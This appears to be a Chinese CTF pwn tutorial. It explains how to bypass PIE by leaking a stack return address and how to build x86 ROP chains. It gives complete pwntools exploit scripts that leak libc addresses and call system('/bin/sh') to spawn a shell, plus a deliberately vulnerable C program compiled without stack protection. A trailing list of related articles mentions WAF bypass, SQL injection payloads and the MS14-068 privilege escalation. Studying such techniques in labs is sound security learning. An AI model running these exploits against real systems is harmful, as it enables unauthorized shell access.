目标程序下载

提取码:qk1y

1.检查程序开启了哪些安全保护机制

pie机制简介

PIE(position-independent executable) 是一个针对代码段.text, 数据段.*data,.bss等固定地址的一个防护技术。同ASLR一样,应用了PIE的程序会在每次加载时都变换加载基址

pie机制怎么绕过

虽然程序每次运行的基址会变,但程序中的各段的相对偏移是不会变的,只要泄露出来一个地址,比如函数栈帧中的返回地址

,通过ida静态的看他的程序地址,就能算出基址,从而实现绕过

2.在IDA中查找码漏洞与可以被我们利用的位置

从这里可以看到 v1被当做v4的下标,v1还是可控的,这样就可以实现栈上的任意位置读写

首先,我们感兴趣的肯定是这个函数的返回地址,正常来说,是返回这里的

用汇编看下地址

正常来说B35这个函数返回后应该是0xb11这个位置,如果拿到了程序运行时的b35函数的返回地址

然后把他减去0xb11,就是这次程序运行的基地址了

只不过这个程序有些麻烦,还要一个字节一个字节的输入,scanf 中的 %d 格式输入

  1. #!/usr/bin/python
  2. #coding=utf-8
  3. from pwn import *
  4. #context.log_level = "debug"
  5. context.arch = "amd64"
  6. context.terminal = ["tmux","splitw","-h"]
  7. p = process("./pie") #本地调试
  8. #p = remote("x.x.x.x",xxxx) #远程调试remote(ip,port)
  9. libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
  10. elf = ELF("./pie")
  11. p.sendlineafter('name:','aa')
  12. def leak(num):
  13. p.sendlineafter('input index\n',str(num))
  14. p.recvuntil('now value(hex) ')
  15. return p.recvline()
  16. def writeN(num):
  17. p.sendlineafter('input new value\n',str(int(num,16)))
  18. #算出pie的偏移量
  19. retAddr=''
  20. for i in range(8): #leak出当前函数的返回地址
  21. AddrPart=leak(0x158+i)[-3:-1] #0x158是rbp后一个地址
  22. if len(AddrPart) == 1:
  23. AddrPart='0'+AddrPart
  24. retAddr=AddrPart+retAddr
  25. writeN('0')
  26. pie=int(retAddr,16)-0xb11
  27. log.success("pie:"+hex(pie))
  28. puts_plt = elf.plt["puts"]+pie
  29. puts_got = elf.got["puts"]+pie
  30. pop_rdi_ret=0xd03+pie
  31. leakFun=0xb35+pie
  32. def readHex(offset,value):
  33. value=hex(value)[2:]
  34. if len(value) < 16:
  35. value=(16-len(value))*'0'+value
  36. leak(offset*8+0x158)
  37. writeN(value[-2:])
  38. for i in range(1,8):
  39. leak(offset*8+0x158+i)
  40. writeN(value[-2*(1+i):-2*i])
  41. readHex(0,pop_rdi_ret)
  42. readHex(1,puts_got)
  43. readHex(2,puts_plt)
  44. readHex(3,leakFun)
  45. leak(0) #因为是要循环41次,这里多加一次无用,让他结束
  46. writeN('0')
  47. p.sendlineafter('do you want continue(yes/no)? \n','yes')
  48. puts_addr = u64(p.recv(6).ljust(8,"\x00"))
  49. log.success("puts addr:"+hex(puts_addr))
  50. libc.address = puts_addr - libc.symbols["puts"]
  51. log.success("libc addr:"+hex(libc.address))
  52. system = libc.symbols["system"]
  53. log.success("system:"+hex(system))
  54. readHex(0,system)
  55. readHex(1,0)
  56. readHex(1,0)
  57. readHex(1,0)
  58. readHex(1,0)
  59. #gdb.attach(p)
  60. leak(0)
  61. writeN('0')
  62. p.sendlineafter('do you want continue(yes/no)? \n','sh')
  63. #这里的sh正好会保存到rsi里去
  64. p.interactive()
成功获得了shell

X86 ROP链

每一个函数内部的栈空间都是这样分部的

  1. int a(int b,int c,int d){
  2. return b+c+d;
  3. }
  4. int main(){
  5. a(1,2,3);
  6. return 0;
  7. }
  8. //刚刚进入a函数时的栈
  9. 00:0000 esp 0xffffd590 —▸ 0x8048465 (main+28) ◂— add esp, 0xc // 注1
  10. 01:0004 0xffffd594 ◂— 0x1 // 注2
  11. 02:0008 0xffffd598 ◂— 0x2 // 注3
  12. 03:000c 0xffffd59c ◂— 0x3 // 注4

第一个为a函数的返回main函数的位置,也就是a的返回地址。后面的是参数

如果把返回地址(注1)改写为 read 函数地址,那么(注2)的位置就是 read 函数结束后的返回位置,(注3)的位置就是 read 的第一个参数,(注4)为第二个参数,以此类推。

当程序需要多个函数才能 getshell 那么(注2)的位需要写一个ROPgadget 的地址,把栈中的东西弹出去,后面再写一个函数地址,然后函数返回地址、参数

例子:

  1. #include<stdio.h>
  2. #include<unistd.h>
  3. void fun()
  4. {
  5. char name[4];
  6. puts("you name:");
  7. read(0,name,200);
  8. puts(name);
  9. }
  10. int main()
  11. {
  12. fun();
  13. return 0;
  14. }
  15. $ g++ -m32 -o x86Rop a.c -fno-stack-protector //以32位程序编译,并且没有canary

解:

  1. puts_plt = elf.plt["puts"]
  2. puts_got = elf.got["puts"]
  3. fun_addr= 0x804843B
  4. junk='junk'*4
  5. payload=junk+p32(puts_plt)+p32(fun_addr)+p32(puts_got)
  6. #gdb.attach(p)
  7. p.sendlineafter('you name:\n',payload)
  8. p.recvline()
  9. p.recvline()
  10. puts_addr = u32(p.recv(4))
  11. libc.address = puts_addr - libc.symbols["puts"]
  12. log.success("libc addr:"+hex(libc.address))
  13. system = libc.symbols["system"]
  14. log.success("system:"+hex(system))
  15. binsh=libc.search("/bin/sh").next()
  16. payload=junk+p32(system)+p32(0)+p32(binsh)
  17. p.sendlineafter('you name:\n',payload)
  18. p.interactive()

或者最后的payload也可以写能

伪代码:

  1. read + pop_pop _pop_ret + 0 + bss_addr + 8 + system + p32(无所谓) + bss_addr

的形式

pie的绕过方式的更多相关文章

  1. Linux保护机制和绕过方式

    Linux保护机制和绕过方式 CANNARY(栈保护) ​ 栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行.用C ...

  2. 数据库语法整理及WAF绕过方式

    关系型数据库 关系型数据库:指采用了关系模型来组织数据的数据库. 直白的说就是:关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织 当今主流的关系型数据库有:Oracle,M ...

  3. NX 栈不可执行的绕过方式--ROP链

    目标程序下载 提取码:5o0a 环境:Ubuntu linux 工具 pwn-gdb pwntools python库 ROPgadget ( 这些工具可以到github官网找) 1.检查程序开了哪些 ...

  4. PIE保护绕过

    (一):partial write 开了PIE保护的程序,其低12位地址是固定的,所以我们可以采用partial write.但是我们不能写入一个半字节,所以选择写入两个字节,倒数地位进行爆破,范围是 ...

  5. SQL注入个人理解及思路(包括payload和绕过的一些方式)

    首先本文主要是把我对SQL注入的一些坑和最早学习SQL注入的时候的一些不理解的地方做一个梳理. (本文仅为个人的一点皮毛理解,如有错误还望指出,转载请说明出处,大佬勿喷=.=) 什么是SQL注入呢? ...

  6. Highcharts Pie 饼图提示标签IE下重叠解决方法,及json数据绑定方法

    一.提示标签重叠解决方法: series: [{ startAngle:90,//添加这个属性,就可以解决 type: 'pie', name: '充值方式' }] 不知道为什么,上述方法不行了.第一 ...

  7. PHP中通过bypass disable functions执行系统命令的几种方式

    原文:http://www.freebuf.com/articles/web/169156.html 一.为什么要bypass disable functions 为了安全起见,很多运维人员会禁用PH ...

  8. 通过HTTP参数污染绕过WAF拦截 (转)

    上个星期我被邀请组队去参加一个由CSAW组织的CTF夺旗比赛.因为老婆孩子的缘故,我只能挑一个与Web漏洞利用相关的题目,名字叫做”HorceForce”.这道题价值300点.这道题大概的背景是,你拥 ...

  9. Struts2再曝高危漏洞(S2-020补丁绕过)

    之前S2-020漏洞利用方式见drops:Struts2 Tomcat class.classLoader.resources.dirContext.docBase赋值造成的DoS及远程代码运行利用! ...

随机推荐

  1. 转:C#综合揭秘——细说进程、应用程序域与上下文之间的关系

    引言 本文主要是介绍进程(Process).应用程序域(AppDomain)..NET上下文(Context)的概念与操作.虽然在一般的开发当中这三者并不常用,但熟悉三者的关系,深入了解其作用,对提高 ...

  2. SQL Server 复制表结构、整表数据

    1.将表1结构复制到表2 SELECT * INTO 表2 FROM 表1 WHERE 1=2 2.将表1内容全部复制到表2 SELECT * INTO 表2 FROM 表1

  3. 常用的 接口访问方法 post 和get

    public string GetFunction(string serviceAddress) { HttpWebRequest request = (HttpWebRequest)WebReque ...

  4. fedora27安装后的配置工作(持续更新)

    换源 没什么可说的,安装后更换国内软件源是必须做的事,推荐更换阿里的镜像源.换源教程 添加epel源 EPEL (Extra Packages for Enterprise Linux)是基于Fedo ...

  5. Innodb的体系结构

    MySQL的体系结构,两部分组成:MySQL的server层和存储引擎层. 存储引擎层innodb体系结构: innodb的整个体系结构就是由多个内存块组成的缓冲池及多个后台进程组成.我们可以从三方面 ...

  6. chrome历史记录,浏览记录,全选问题.

    一句话, 这个列表支持SHIFT多选 =,=!

  7. Alpha冲刺报告(5/12)(麻瓜制造者)

    今日已完成 明日计划 部分api示意图 燃尽图 scrum会议照片 今日已完成 邓弘立: 完成部分首页逻辑功能 符天愉: 写代码写着写着想起来昨天的登录接口有个非常zz的逻辑错误,今天修改完后应该没有 ...

  8. [提权]域内提权神器 MS14-068 完整EXP

     可以让任何域内用户提升为域管理员     c:\python27\python.exe ms14-068.py -u k8test3@k8.local -p k8team!@# -s S-1-5-2 ...

  9. JDK 环境变量 Windows配置

    安装完成JDK后需要配置环境变量,下面是环境变量的配置方法 1.配置环境变量: 对于Java程序开发而言,主要会使用JDK的两个命令:javac.exe.java.exe.路径:C:\Java\jdk ...

  10. php输出年份

    Copyright <?php echo date('Y');?> by Creditease Corp.All Right Reserved.